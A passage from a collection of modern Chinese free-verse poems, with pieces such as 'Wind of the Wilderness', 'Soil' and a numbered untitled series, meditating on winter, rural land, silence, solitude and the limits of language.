装满了祈愿和祝福。 然后，才把它们扔下。 从更高处。 \/ 此刻如果你正观察一棵小树， 你充满了好奇于它 一定是有着什么目的和秘密。 催促它不断向上生长的那是什么呢。 \/ 地上布满了冬天的冰霜，寂寞和寒冷。 对一个体会了太多苦难的事物而言。 在更高处它听到了令人眩晕和迷醉的声音。 \/ 祝福的人声里囊括世间轮回 法则之中，常常容易被忽视的温情。 用语言散播了看似微不足道的祝福的希望， 也是你。是否也带着更为现实的鼓励和催促呢 \/ 正站在一棵入冬后的小树下面， 让沉默与沉默里面的千言万语同时共生。 旷野的风 《旷野的风》 等风来了之后，我才走。 那到来的事物，我称作了风。 当把命名的绝非无形， 强加在了风的身上。 在我，一个平凡人。到达于心内怜悯 这更加遥远的路途时。结伴着的风， 它是否真的需要这个称呼呢。 它放缓了自己行走的脚步， 我猜测着同行者的沉默不语。 更深的出处来自于，说出 断定和语言的这一千古难题。 冬天17 《冬天》 如果到达的意义在于永不到达， 如果黑暗里面实则充满了白光。 收拾行李的远行者面对着空空的陋室 从远行者的踟蹰那里，从陋室再一次 丰满的语焉不详那里， 田野5 《田野5》 那些诉说着爱意的时机， 仿佛总是可以，在田野上 某个微小的事物或颗粒身上发生。 如果， 如果语言早已经在我的幻想里面， 打出了凹陷的洼地。 在寒冬，是否我的爱意真正的十足呢。 道白分明来自于众多的怀疑和可疑， 先要仔细的探查和观察 被铺倒的麦秆和玉米杆所掩盖，下面 坚硬的土地。 这是一条大地上的羊肠小路。 它反映了世间，所有矛盾。当那些在扩散之中 被拿来当做了依托和准则的矛盾 普通暮色时分的山影。相对之下，爱意的时刻 才从黑暗之中分外的明亮吗。 敲击 《敲击》 敲击并不会，更为长久的 带来。 以丛生的等待命名你， 你又用手儿捂住了。这个 多半如光线也会从缝隙之中错漏一般 并不准确的猜测。 昭明了的那些别的 闲暇时分的事情。如果在人们 乐于更为长久的，在生活中的街头巷尾活着。 活着，相映成辉于，那一 是遗失把事物的名和谓 揭示和带来。 饥饿，， 《饥饿》 我听到了，就连寂静也无法阻拦 远去的声音诉说着， 厌倦和没有。带走了种子和粮食， 留下了空空的腹。水源 在所有可能的方法之外， 只有它才有着的。最为坚硬， 坚实的情况。 短暂的声音由腹中空空之人的 最后一击制造， 如银灰色的光线，在水面上停留了一小会。 之后留恋尽失，慢慢的远去。 等待 《等待》 事物站立或俯卧在那里。 院中，对事物的渴求，渴望 获得其内部的，需要漫长的等待。 等，所组成了的乐章。 清脆的乐章，是另一个 当诗歌，尽力描述着，树木，石阶 和小路。 并没有什么挑拣， 对于词语也绝非甄选的 诗歌。正从一到多，等的乐章便愈加的单一。 是它那清脆的比喻，更加的需要人言。 今夜，如果寒冷的气候。使我不敢， 也不愿意走到院子里面的树木和石头 需要花费多少的心思和努力呢，同样向自我 提出的那些质询。 当那一支有关于等的歌子的奏起，是否正意味着 诗歌的消亡。 我期盼在没有雪花覆盖的地面上， 并没有什么人类的足迹。————走向事物本身的， 正是事物它自己。 雪花，， 《雪花》 雪花落下来的踪迹是错的， 天气预报报道的就是这个。 报道之中甚至还会提到， 铁锨，铁铲，铁锤，弓起背，仿佛被压弯了的 铁器。 直抵内心。为了说一次善意的谎言 需要多大的勇气呢。即便如此 在冬天的雪，有时还是会践行它与冬天的 约定那里，充满了因因果果的厚城墙下面 似有什么蜷缩着 枫桥夜，，， 《枫桥夜》 为打开一扇耳朵而努力， 在山川草木中。 如果打开了一扇耳朵，便会有无数耳朵 一一打开。把密集的躁乱制造 在沉默里面确定的于事无补，那些顽固在于 这已经是尘世和轮回了。 为打开一扇树木中的耳朵 而努力着，于永远都不会将它打开。 瞧，这多么无力的力量。 院子外 《院子外》 繁多，映入了我的眼帘 满目不再苍绿的草灰色， 正欲映入我的思想。 焦虑与猜测，之间并没有实物的争夺 那些并没有雪花的，白茫茫天色 正被人为制造了的幻境。 我觉得它是要在一个确定之中 更为深的安定下去：它变得比我还要形象和具体 并试图， 制止于我，自己从具体向着虚无的，某种解脱。 桌子 《桌子》 如果坑坑洼洼属于小的， 也同样微小在了， 那道一闪而过的目光中。 我们抛下的事物，因没有太多 重量而称作了审视。 手边的书上提到了，沙漠，罗布泊 某个着名的失踪者。 目光移开，桌子上面这些数不清的 脱落和凹陷。 或许，探险者使出了最后的力气， 使一块黄漆从桌子之上掉落。 悲叹着的有关于岁月易逝的声音， 他那按压下的衣袖， 莫非楼兰古城不成？ 院子 《院子》 一步。下一步里 有我的预期 文字的自然步伐不得见。 \/ 不得见的矛盾里面 和它那因此产生的 香烟，袅袅起 \/ 设想了语言的困难，我 是否同样也设想了我自己 在迷梦之前，那早已陷入的迷梦 人的无法反抗里面的语言呢。 旷野6 《旷野6》 托举的双手，托举起 我那正准备，向下的思。 最终， 混为一谈仅仅在思与虑这里 便已经足够的多了。 冬日雪后的寒冷天气，里面的转阴 人，明证之心存有的人。热情赶来着的 消逝了。 但我劝慰的言语所代表的最后一丝力气， 或许到达于耳边。 如果我所设想者， 从他那从未有过的勇气之中，何妨 不退却呢。冰霜冻住的路标，所向静止的无力。 并不曾晶莹，像一种新的方法 像只有在群山下面才好置放了，我们的语言。 之子于归 《之子于归》 听声音如何到达声音， 但不是碰撞。那些 银亮茹丝的闪光，文字和语言中的一部分 即使， 它也曾长久占据了我的精神。 把无水的河流上面，停滞的船 移向岸边。我能做的如此的多余，对于 前往和退回我有着同样的心思。 寂静，茶杯还是静止在那里 那些它所盛放的水，有时 在莫须有的光芒般的语言后面， 同样，水波被称作了一场等待你我的到达。 春风，， 《春风》 或许你我都只是简单的人，简单的 做梦，梦到了人 自己短暂的一声。 或许，你都不用开口说话，我 就能猜测到你想说的内容。 如今你已经来到了我的梦里，如今 在我平凡的梦里面， 只有一条小溪，一片土地，一座房子。 要等到什么时候星星才会 把斑斓的虚幻和现实照亮。 唇间的小小房子， 门前春天里生长的草地。 它们正随着风轻轻的摇摆着。 之子于归2 《之子于归》 或许可以如忽然间，梦到 由小石子组成了的我。 如果夜晚来了，石子铺成了小路， 不再 了。那么，亲爱的， 就把我让给你， 不是一颗心， 短暂的彗星在天上划过。 不是一个热烈又眷恋着 你的人儿。 看呢，可悲的生命向下， 向下的那个 力气，它越来越大。像我，需要用一生去爱你 像只是为了此刻呢 因为见不到你了，那么迷人的 容颜。像是， 像是就把我换做你吧。我这个字 刚刚从石子路一般的美梦上面过来的 我呀，我。还在， 陪着你重新走走， 这乡间小路。 山上，， 《山上》 索取和剥夺的想象的悖论 的产生。自我这里 但种种原因和语言的温情 不会使得我贫穷。 仿佛要我在寒冷的处境里面 才好领受普通人，最为真实和鲜活的身份。 如果把身边的一棵枯萎草茎 以怜悯视之。它不久之后或它 曾热切到不惜以肉身着的枯竭之上 所渴望梦到的。 不是一条河流。河流的文字要比命运 更为的残酷，语言上面的怜悯替代了它。 那么，是否正是凌冽的寒风 问题和困惑要从哪里才可以提起。 缺失的事物如何看待这每一个句子， 每一段话。如何， 早已经知道了句子用来埋骨 祸首言说拯救呢。那么，它， 又是何种姿态和孤单的身影和离别之外 也绝不是那离别最为极端的形式，也不是 死亡 在死亡的湖面投下了石头入河一般的波纹。 那么，问题的线索， 极其容易的就会被北风所带走。那么 寒冷与回忆有着同样的困难和模样。 那么，登上山顶的人 给予草木，万物。在死亡眩晕的灰色之下 是另一重质疑，和质疑里面的怜悯性。 满目的荒芜在我的眼睛里面 绵延又铺展。 全部的句子仅仅只是一个句子，所有的丰富性 并不仅仅在于了，一次过于乐观的，所谓的 个体和语言上面的探险。 呵，谁，前人是谁，又是谁 前人是谁，困惑。听到了吗？ 有关于前人是谁这个微弱的不足为道的声音。 天地，，， 《天地》 要说那少，说那不能停止 说停止，说你。 说的是金色的花边的太阳光， 照着。能想到的最近的事物 所以，不要叫醒 一个躺在山坡上面睡觉的人。 赐予我天为被地为床，那广阔的房子 并不空虚，绝不寒冷。 寒冷也绝不是冬天里的语言的寒冷。 如果从你那里，带着谗谗一般 离开，把门儿关上。 但并没有走多远，回头看时要诉说的 语言。穿着朴素的衣裳，你那共鸣者之一的到来 桃夭， 《桃夭》 爱，和这些小件，绝非遵从于心愿 也不是自然的结合。 在微光，和微光常常被视作了 暗淡里面 ———解读，我们生存了多久， 由什么来覆盖我们的生命历程。 对于一切太过于坦然的过于恍惚， 一定是人的常态。我刚刚拿起的 鼓锤，放下 即使，视大地如水的时刻，从未曾因此 而远去。 走马，， 《走马》 鼓锤，绣花针。。。 而握在了手中 则是一切的终结。 那终结了的幻梦， 也将制造了破碎一般，莫须有的 声音。———像人的犹豫会大如宇宙， 人追忆那个，由自己所做出的 终结时刻，这占去了大部分时间。 而因此而起的因果， 那鼓锤上面缠绕了乱麻， 已无暇再顾及。 夜晚，，。， 《夜晚》 短暂的时刻，宁静的时刻 同义词是永恒的时刻。 驴子驼起货物，走出冷漠的城墙。 没有驻守的官兵。在我们的咽喉位置 问题却依然悬而未决。 或许，我们也把傍晚的彩霞 装进了称作货物的口袋。或许 只是脸庞上面一抹红晕，浮现 那驴子便成了货物本身。 把不是问题的事情弄成了问题 和事情。 过了林子，再往前面一点点 就住着许多喜欢追忆往昔的人们。 而我总是要在傍晚到达， 语言之海，或者语言的傍晚 失神，疲倦 这些是怎么也掩盖不掉的。野鸽子一次一次的 起飞，因为它什么也带不走。我的缰绳。 窗户 《窗户》 像一块灰色的岩石， 把自己包裹。 像一枚铜制的指针， 把时间敲击。 在晴朗无云的天气，透过 没有玻璃的窗户。 看月亮。 透过没有玻璃的窗户， 寒气一点点的落下来了。 指针敲着，石头安静 哆哆嗦嗦的呵，我看 天上那个，你容颜一样子的月亮。 无题060 《无题060》 声音把声音给串了起来， 也只能如此。如果最后的结局难免是悲凉 最开始人却可以努力，卯足力气 从江油到达了锦官城，从别的 某个并不属于天府之地的地方 本想着去别的地方，本有绕开后恣意言谈之心 最后还是在一片迷梦里面到达了锦官城。 杜甫来到了锦官城， 山高皇帝远，是否在这里 事情会有转机，没有太多的注目 一束光投下来的并不是命运。 即使它有着如此悦耳的名字，山泉水 从竹林之中刚刚流出，竖琴还未曾 真正的弹拨和摆弄， 就被人发现和轻呼。————锦官城 异乡人一次次的在异乡人之上 在本地人的身体内部，一次次的把异乡人的 本质和原始扒开。 所以，要往深里去， 在湖边饮茶，公园里面跳舞 说话拉着长长的尾音， 对陌生人过分的热情和善良。 夜也是不寂寞的，会被赐予美梦。 杜甫，当它在竹林边的房子里，正准备入睡 思索命运和普通人不幸的遭遇 又该如何解脱和释怀呢。杜甫 请在今夜安然的睡去，摆放整齐木屐 睡前把蜡烛熄灭，合上被子，心儿平静 如果我也在锦官城里 夜晚，是一株竹子，是一阵夜风 青石板的小巷有着微微的光亮， 已忘言，向您这位忧国忧民的人儿亲近和礼赞。 无题061 《无题061》 焦虑，掠过 令人生畏的空， 对告白明证的掩盖耗费了精力。 这一束光，已不属于微弱。 微弱里面的文字的力量，说出和举起 是否，有一种难以摆脱的因果 在明查的不由自主那里发生。人锤击着人 仿佛事情正渐渐清晰。此刻 我只是渴望着，摘下一片叶子 拿起那片摘下来的叶子。如果这能够使我的 语言在语言里面，多么宽容的语言 使我的生命和心灵也在声音里面。如果 最为微末的赠予和允许，在回赠的感激发生之前 从嗓子里面所发出，更深，从一棵震颤的心灵 发出。将身处一处院子的事实来陈述 属于语言的空，在我的面前，展开来的 空空的院子。 无题062 《无题062》 愿，夜晚长久。永恒的 琴弦，它永远会弹奏着 使我追寻又无法听懂的歌曲。 理解，这个文字，这个词语如夜晚 闪闪发亮的石头，石头之心也可以 是我脆弱的心脏。我已经，从满怀期待的 善意那里回来，呵，湿漉漉的身体 躺过了一条河流。被中断思绪的恐惧 多么需要爱意的慰藉。我压低了自己的身体 与一块河边的石头无疑。 无题063 《无题062》 睁开双眼， 消散在你的表面。 我事先的矛盾的美丽， 我知道你的粗糙，高低起伏的凹陷 带来了我的闻所未闻。 没有花香，那种入梦的事物， 那种带着自己的孤独以给夜晚 增添了一抹抹亮色的事物 里面的你。相形见绌，语言却找到了你。 事情的一切起因是否都来自于沉默 而你那沉默的身体 却并不需要承受无端的猜疑。 猜测你是一株夜晚的桂花，叩响了门铃 是否正确，如何才能把错误和不恰当 以正确来示之。是否，夜晚真正就属于 一对对情侣和一个个说话的人。 沉默在夜晚的人儿也并不可疑， 当随着星宿的缓缓，难以察觉的的移动。他也 移动着他的语言。 是否，情侣只是倾听者始终需要倾听而来的需要， 是否，有个人如果，觉得他自己是孤独的 请用手儿轻轻的抓起这些孤独，把祈福的船只 放入了水中一般， 放入这些孤独。在每一个人谁上都有一扇 多余的语言之门。堆放 你也是无穷的，你的申诉需要向上，穿过 多少的语言的界限呢。我知道 表达你的并不是一阵夜风，并不是迅疾未曾遗留下什么。 我的心儿始终长久的不安，我觉得刻钟里面的 指针一次次轮回般的重复了我的停顿。 我担心我会慢慢的变成了你，我担心我 早已经成为了你，我担心夜晚也是可疑的， 担心可疑不仅仅来自于 星星一样可以发出光明的路灯，人的嘴唇。 我担心阴影的久远终不再沉默， 沉默于阴影里面的那人儿，他站起身 道白一般。 如果这些道白注定永恒的微弱和他们此刻的微弱 东青，槐树，石头。石头的重复和 石头在繁多之中的稀少呵， 那阴影覆盖的，如谜一般的幸福。 河边，，， 《河边》 寂静夜晚的， 变身的美梦。和，河岸上面 空缺着的梦。 最后的一丝力气， 谁在福中不知福的人儿， 让孤单的， 苍蝇，那夜晚的小飞虫 抱着它自己身体逃跑的身形 是孤单。 这并不值得走进你的心思，去商榷。 有那么一种没有穷尽，在于了， 我在听你说，原路返回和寂静。 同桌的你 《同桌的你》 一个个诗人，一个诗人 ———这样来表达下困倦， 最后的努力和那无脸之人找不到我 这种方式我到达你。呵，没有 也不会，在阅读的肤浅与 焦虑之中随着你那，所描述的高山，隆起。 道德的高度 是否确实在我看来，早已经混同于了道德标准的评判 如果肤浅者更应该保持沉默， 之前他多么的喧嚣，他供出了，他就是我的陈词，但 最后的那一点秘密将是永恒。呵 深知了困难我从不会 真正的踏足黑夜。所以， 我阅读一般的装饰和添加，所以 我把自己从不曾知晓，那音律的停止河岸与界限。 话语时常谈及内容的丰富性 由此而来。————回荡吧，那些为什么 那些问题。 是否就能顺从于我的期盼把安宁带来。呵 难不成对于秘密我也可以弃之不顾，难不成 我竟藏在了一位令人钦佩勇士 他钢铁一般骨骼的最深处。那么 是否我应该提防，我的嘴唇脱离自我的身体 属于我的身体因此不得不明示着了自己，每天 一次次的被我重复来确认。 是否语言的可疑因此才是不可疑的，那么 在摊开来的书本上面。我把它，早已 当成了用来建筑的平整的平面。 从那一个美好的时机，从那一个属于我的此刻的 良宵的天平。呵 黑色的天平，不必以公平和良知，道义与准则 衡量的天平。 揭露的天平，一个逃兵呵，请求了。我 愿意陈述那秘密的锁链。愿意 因为因果的持续和长久存在，每个人的沉默里面 我都一一放入的无辜。 那么，是否，我就可以诘问。是否整个的 人类整体可以如彗星一般， 从一本书籍上面冉冉升起。是否， 就可以把无心阅读的今晚照亮了呢。 是否，你归来，一一的 为了使你能够把我的语言都收去。 我言说，萦绕在一本诗集上面的那，到底是什么呢。 无题064 《无题064》 水面，灯光 长久的等待， 长长的音乐。我来时 我踩的是哪一个音符， 这震颤应当持续， 无声的奉献和无形的双手 它已深入了夜色的沉默。 我轻轻的拽住了它， 从水面直到楼宇窗口，闪烁的灯光。 土，， 《土》 重复于土也是一种失神 和失语的瞬间。 我担心我会失去一切，我带着侥幸的心理 从土壤，土壤容易破碎，散落成 田间地头的那些松散平常的土开始。 我绝不相信人们所说的语言， 勇士的可笑的正义的观点，寒风凛冽的气候 请允许我施以滑稽的想象。请 路途遥远而疲乏，请在旧梦的遥不可及那里 背景般的失语的重复，暗淡的天色 布告的事实多么庄严。 但是否也值得怀疑。所以我怀疑一切的端点 多么自由，此刻，多么的无拘无束。多么 随手可得的地方开始一种，必然会落入 宿命一般的猜想。 如果这些事物因此已经投身于了， 自己会溶解于水的命运。如果肇事者的称谓 听起来多么迥异又陌生。是否还可以更猛烈一些 是否一切都应该， 当事情变得不诚实，大地上并没有一支金色的钢笔。 当幼稚的人难以面对衰老和成熟。深秋的土地 深冬的土地， 一拖再拖的树上的果子，正哑然于它自己 缘何如此枯萎的处境。 像果子只剩下了腹中的种子， 风儿一吹便落入了泥土。像追忆， 必然失败于追溯。像在生根发芽之上的 有层层肤浅的文字布陈和想象。 那么，让贫瘠者走进山里， 让久违面对它自己心内的陌生。一切都应 发生于毫无征兆。一切土只是 最开始偶然的文字和滑稽的幻想。 一切语言只是结合本身的左边和右边， 只是，如果你能看到结冰的湖泊，就能看到 离去的残影。 如果，你的心儿多么的郁闷。停顿缘何如同一个漫长的世纪的漩涡， 土，沟壑难平，不仅仅土壤，单个土，颗粒，众多的土地，语言 其间的谎言和肤浅。 一个 《一个》 一个文字，没有完成的 缺着。爱意的庸俗 如果我能说出的， 让爱意在于了爱中。让 遗忘固有的匆忙发生前 可以清晰的记得和念出。 我也等待那，我有着应该端正 要求的语言和文字的考古者 试去他身上的风雨， 替他把衣服挂在挂衣钩。 烧好酒好菜给他。因为 这只是文字轻笑的真相，正难堪于 一次端正严肃的到访。 石头，， 《石头》 石头，用力，人的处境 可能是 在向上着喷涌的水中。是 险境。 是书写放松的草木之根， 但不是，也不必 向你们提起我那， 花香飘荡的山坡。 是因此而来的，规整又 爱意隐藏的句子。 是诗 ————是感激。 我瞧见了更为具体的你， 我敢说诗并不是诗。 行走，自由自在之人，并不是 突然 才回到了故乡。我看到了更为具体的你。 并不明亮的眼睛，成熟恐惧于苦难和贫穷记忆的 心灵。 是否，那美丽的句子， 在形成之前，便有着同样美丽的另一番模样？ 悠长的小巷，回声的砖墙。凹凸不平的地面， 就回赠予你吧。 诗歌是哑谜，哑谜的未来才有了，年轻的人们。 未来的诗歌 ————而我将消失，因此。 雪，， 《雪》 等待——雪——融化掉 真实与虚幻间——谎言的失败。 雪很大，没想到在雪花之中 也有一份具体。 土，，， 《土》 土， 土， 土——土。 重复的并非随后被发现的赞歌。 但重复于土，土之上应有 众人不会否认的因果。但 比破旧还不如的琴弦是否已经足够， 寒风能否探听到人确切的心事 那痒在背部，肩膀下三寸。 那痒并不决绝于山水，离三四月还有些日子， 那痛惜的并蒂莲，并不在文字里面会无意间 吹起满天的尘埃。 难不成，难不成你此刻的心事便 因此已经开始变幻。 尘埃令人担忧，而吹起的若是雪花。好吧， 退而求其次。如果确有一扇嘴唇，确实 在自我失去了意识的梦里面， 对着心爱的人儿诉说过太过绝情的话语。 那么，孤独便是 离别的虚空所应该面对的。那么 沉默的土地便应该继续沉默————始终沉默 ，永远的沉默。 沉默的收回之处，沉默的埋骨之处。沉默的， 请沉默它那令人感到可怕之处。 请收回我破旧的琴弦，但并不收回 我懦弱的手指。我扒开 死亡的丢在了山坡上面的，乌鸦，野兔和野山鸡的 尸体。 实则我只是在剩余的不多的骨架中间，摩擦 如古代的贫穷的野人，寻找莫须有的火源。 感知的理性召唤之下，猜疑和行动着，是否 从另一个迥异和极端，那么 远离的，早已经布陈在大地，寒冬上的事实，被远离了的 人与土地的关系就可以重新碰撞和 激荡呢。 是否，确实如此。脚下有累累白骨者才是赢家。历史 像歌舞厅中，头顶那些闪烁又晕眩的五彩吊灯。 是否，语言是属于少数人的。 是历史对于自身的明证是恩施。呵 所以我贫民的命运，之前我如此不堪的身份。来自于 高处另一个人儿的恩赐。来自语言的恩赐 并不是语言固有的属性和禀赋是普遍和平常。呵否定吧。 那么，何不在土地之上，让语言困难于对它自身的否定？那么 冻得我发慌，冻一个空给空，结束于我和我的贫瘠。 土3 《土3》 土， 土 土————土。 重复于土吧。但是否已 足够。给予自己的感觉 发生在了，重音一般却又带着沉默的 诉求和要求的此刻里面。 土，是要文字的绵长， 逃离于你。邻居，从他那，某一天里面 闲心中无聊，贫穷和阴影下所给予了他们 没有任何的出路。 把木棍拿在手上， 敲击如鼓面的山坡，敲击，便不会 再理会我的劝阻。呵，时日已迟，我便从我早已经 回到了的文字的故乡———— 是否合适呢，探听他储存的酒酿。红砖裸露 丑陋的外表。 我的脑袋一定慢慢的老旧， 我的迟钝，月下我多半奔跑于某个 对于永不停止的担忧。明亮的光头的 反射着光芒证明。 ————何时，我才能进门， 这土的部分。沉默。 月下沉默，冰冻。白天它所给予的点点安全感 土， 土 将永恒沉默之中的不断揭露， 无病呻吟者，的细丝， 无题068 《无题068》 第一年之前，全无。 第一个我只能幻想你，从北向南， 夜渡乌江奋力燃烧熊熊的大火。 之后几年，我愈发的困难，面对诚实 枯荣里面早已经料到了会藏着笑意的面孔， 夜里的禅音，那根弦不对，我从那里退回 并不退回沉默。 那么我是否该将我的烦扰和肤浅告知于你呢。 你遁于虚无，书籍上的五代十国，南朝四百八十寺 皆一一不见踪影。 由那虚中如鱼一般捞起， 已是过去式。之前，我应该视那 拒绝我的三千法门 为谬误，大地上暗疮太过广阔。 遗忘 《遗忘》 不。把它视作了年轻时 所必然经历的某个阶段。 不。制造的误解和悖论。 把鼓放入沉默之人的身体 等待永远没有尽头，永远不会出现 词的词语的源头，那第一声的叹息。 我尽力的回想，如同渴望撕破了的脑袋 我畏惧那个从另一端到来的 更甚于遗忘。 冷， 《冷》 少，以少为美。 以少为美正在逝去。 冷的多重结构，冷 一直作为一个沉默的结果对于我， 用冷掉的手，翻来一本表面同样冰冷的书 对于这本书我带着厌倦，肤浅 和一切不耐烦的心理。冷，也在于其中。 贫乏 《贫乏》 琴弦中的某一个音节 但并不是在那些平整光洁的表面 倾诉有关于居住的琴弦。但不是属于 那上面，暗淡了的小心思，强调的 正确的语气。 是否，有足够的闲暇。幕布幕布里面的空间 进来，在我联想到了 那个人儿苦思冥想于，渴望将 那诗歌统一和规整的工作。 是否，另一个人将因此听得懂， 关于人们的自言自语，实则。是要以沉默 来作答的对话。 ————拉起上台前依然无聊，垂降的幕布 黑暗里面的那个声音 声音的客人。 客人正使得那，进来，听从召唤的天真人儿 没有什么多想，走过不会发出声音的草地 与河滩。 到来吧，那到来之前。声音的客人，在自身之内羞涩的。 听从着的，即使这并不准确的词语 书写 《书写》 书写仍然还在。 道白顽固。拿起吧， 希望你更加的有力量，并分出一些 少许。遮掩那上一次所发生 粗糙和模糊。 ———也就是了现在。 所以，拿起者分明就是你 最为简单里面的始作俑者。 我已经深陷于向上攀爬的，错上加错 我投出了带着希翼的目光。 如果在干旱的土地旁边。依然有你的一所房子。 那定将形状奇特。但不来自于渴求和干裂 不来自一次次的不愿意露出面容的叩击。 不来自，你的性格并不属于沉默 怜悯的错误猜测和比喻，赐予你 你便陷入了默不作声。 四季轮回，当那春天来临。呼唤着每一个劳作者 起来，起来， 起来。 把劳作视作欢乐，把你陈旧的琴弦 擦拭，清理和弹拨。 我愿意，弹奏。作为我流浪者的身份和命运 我愿意，如果你早已经变成了那个 勤劳，朴实无华的劳作者。 身着旧衣裳正从田间回到你的房子。 山泉水的声音赐予你，清脆的叮咚 欢快的跳跃，聚集，聚集 再聚集。 直到成为一条我们，自己的河流。 我将一直在故乡，在你的故乡，在所有含蓄 苦难，不愿意更多透露 心灵的隐居底歌唱。歌唱者的形象是一次次的 向前和探索。 即使这片土地早已经熟悉，即使厌倦的气息夜晚弥漫。 而因此，而因此。。。 无题070 《无题070》 虚无的仿佛在泽国， 等待什么上来，耐心 穷尽。第一次，琴弦 没有那个弹拨它的手 没有声音的暗喻将走向何处， 孤独的琴弦。像另一种声音 像那也只是 对于过分，被冬天所冻伤，那个 我们应当在冬天由热转冷的心。 由室外逃脱向堆满木柴的室内 在农村。事物是多么的微不足道。 声音它多么的微不足道 那些记忆慢慢地下沉，并不只是 起初的残缺。起初美好而又幼稚的预期 被揭露了的，在室内之人 他那火的解释，火的掩饰 那么火将不可能焚烧掉什么， 在重重遮掩的深处，途径路上孤独的琴弦 尽头的可疑是一抹亮光。 正是从这可疑而来，正是美满的话语充斥了 我们的空间。正是，要像欣赏墙上的山水画一样的 把春天的泉水期盼。如果，你不是我 却无意间把我的一部分带走。如果你去往的 是田间，是地头。是储藏在粮仓里面的种子和庄稼。 如果农民的柔情也像城里人的柔情。一样子的 没有分毫。我们的语言，我们的诗歌 请为我们的语言划出，属于我们自己的界限。 请把我们自己的年轻的姑娘和少女归还给村庄。 请吧，老者 趁你尚有些力气，走进屋子，拿出你的琴弦 请弹拨，请在残缺之地，请在语言的模糊，卡顿 和凹凸不平之地 弹拨，弹拨的正是那个残缺。 你已经臻于完满。把属于你的酒杯还给你， 粗糙的桌子上面，一边吟唱，一边 摆放满了各种农村的佳肴。只有我们在一起 肩并肩，手牵手，少女和少年，老者和中年 歌声和爱情，情人和少女 如此漫长的时间，等待的永恒，那是没有尽头的 歌谣。那是，没有穷尽 正在走向，慢慢的，它走向穷尽。 夜晚，，，， 《夜晚》 一个晚上充分的失眠， 一个无风的晚上，暗示是 什么意思，一地的霜白向那 人儿的沉默。 但因爱意因你，而你 我长久的肤浅，我戛然而止却欲说还休的语言 我不曾习惯，在紧闭的大门外面徘徊 如果没有回应，把任何的可能，漫长的冬夜 胡思乱想里面竟飘起了鹅毛大雪。 如果空也是一种回应，谁能反驳和否认呢 那无，即使以它的常常被提及 物的姿态。在这个短暂之处，我已经逗留了 太久。翻来桌子上面 有关于人们孤独，等待，人们心灵的 种种探索，思索和拷问。 追寻雪里面藏身和流落旷野的逃亡者，追问 痴情者痴情的不得不诞生。 被逼无奈一一咽了下去，一生不愿意被揭露，被揭示。 小的篇章就像今晚的月亮，呵，我前功尽弃 我所做出的努力它如此的滑稽。我 贫乏驱使着我，幼小的灵魂却被我视作了 悖论，一次次的提及。 那么，屋子里面的你是谁，面对着无法逾越的江水 冰冻的界限的依然令人停步。 一定有人只好因此而保持沉默。但那不是赠予 像归还，同样错误的词语里面有着人类的窘境。 人类呵，人类 就像此刻的我，就像在诗歌的开端和中途 我匆匆遗忘的发生。我要说，是雪花，莫须有 掩埋了另一条归来和去往的莫须有。莫须有 甚至更多，更多。那破旧的琴弦一定 会被找到，一定会自己翻来，一定会他那么的 更重，越来越重而面临着它不可逾越的 不可断裂。 今夜，我面临着错误的不可断裂之夜 ————好以此为亘古。我看到了语言的形状 是天上的银河，甚至更长 是某一种独自叙述着的线段把那模糊和朦胧 一并的纳入其中 把人丢下，丢了出来。————在大地上。 开头 《开头》 能一直拥有着我 自己的寓所。如果偶然的所得和所给予 某个幼小的生灵 我能摸到的就是我的墙壁 我能叫出， 树叶。 树叶碰到了墙壁发出了回声，又 折返：我能摸到 是我在沉默中一次次勤劳的 把我的房子加固，厚实。 能向世界回赠，建筑者和劳作者的身份和幸福 我总是能从一条河流短暂的踏入和回来， 不胜感激。 在语言和诗歌的开端，即使有关于命运的必然性 一次次的 被证明是对的。在诗歌的开端，用 那些珍贵而短暂的文字，书写 在书写之中短暂又永恒，希望可以长久于此。 田地里的土地迎来了春天。 流浪者 《流浪者》 我很难相信有真正的流浪者， 流浪者在风雪之中，起初 所说出的真正恳切的话语。 只有渴望与实现，得到之间 火焰的缺乏被揭示。 点燃，一团温暖。火焰里面的光芒 照亮没有尽头的雪野。 火的贫瘠被揭示。雪聚拢，靠近 多么的短暂。在一切倾斜的思想的坡道上面 雪，从就在人的脚下那里。雪花 走向了向人们的围拢。 ————如果人实在毫无办法，人所说出的 统统都只是重复的自言自语。 办法是天上的，过去的和现在的星辉 是否人应该厌倦于，长久，他们所执着之事 更深的掩埋，只有以最为极端的方法 只有最为普普通通的人。而非流浪者的理想和情怀 才可以穿过，无声的穿过人所自我制造的幻境。 他的疲倦，在所剩无几之后 他的疲倦分明正是我的疲倦。 拉着长长颤音的倦怠，倦意起于虚无又迅即消逝， 仿佛永不停歇的疲倦， 在于了此刻，但我能宁静的审视它。 那些最为朴素，简朴的看。那靠近， 有着，仿佛要把文字和之前的一切。通通丢弃的 想法。 所以，室内之人，才真正是那个 伫立于茫茫大雪中的人儿。把那空降落在空上 把雪，以雪的纯粹和洁白 而掩盖它自己的空空。今夜，窗外并没有一个 孤独的流浪者之歌。没有流浪者的脚印 在雪地里踩出了，语言一般的诗行。 流浪者的情怀因此而复杂和难以捉摸 ————它因此而起。它呼唤，呵，流浪者 流浪者的到来。 无题071 《无题071》 弯下他的脊背，也没有光 但弯下他的脊背， 也许更深。我们， 我的。 从后来者来的必定是阴森森，模糊不清的 密林。对于期盼和期待的回应 有所回应的一支剑羽。 早已经穿过了所有而在如今布陈。 如此自然和平常的场景就像是， 用手掰开了。一个馒头就成了两瓣或两个。 但我只关心一个人，琴弦的细丝上面 要他孤独。孤独面对的的历史。要他的 愤怒，愤怒之后的无力感。那些期待 盘亘，活下去，活下去。我的耳朵回荡着 并不是子夜时分，寒山寺的钟声。 请打开一支锈迹斑斑的剑羽。江水一般的 结束的突兀和尴尬。请寄回来你的信件 从江水那里，手伸进寒冷之中。 无题072 《无题072》 用等待试探， 当迎来的无法理解也难以被琢磨。 已不是第一次沉默， 带着第一次一般新鲜感的 上一次和 下一次。从远处看，山是小的 山正对着走近它身体的人们， 褪去了它的颜色的羽毛。 仿佛真有什么，等待被解读的事物 因此，令一个不得放松和平静 静止的人仿佛正同样走在迷途， 无题073 《无题073》 从竹子的中空， 一路向下。从余音和回声 从对与错误之中， 听出它叫什么名字。 混淆了自我介绍，羡慕高高的幕布 伸出手就能触摸到远方的竹林和江河。 这就是你的位置，就是我 一个登山的农民被带来时，降生了他的子嗣。 像一束光透过树叶的缝隙垂下 我分不清恩赐，给予，言说，分不清土地和 天空太过痛苦的血肉模糊，血肉相连。 但我应该能知晓， 在每一个人的体内都有着另一双黑色的眼睛。 那么，应该有光明。应该 让竹林生长在漫长的黑夜。让迥异 以四川人拉长的尾音稀释和融合。 如同每一个都被裹挟，只有血肉的真实， 存在的不公，只有无形的律法不被允许 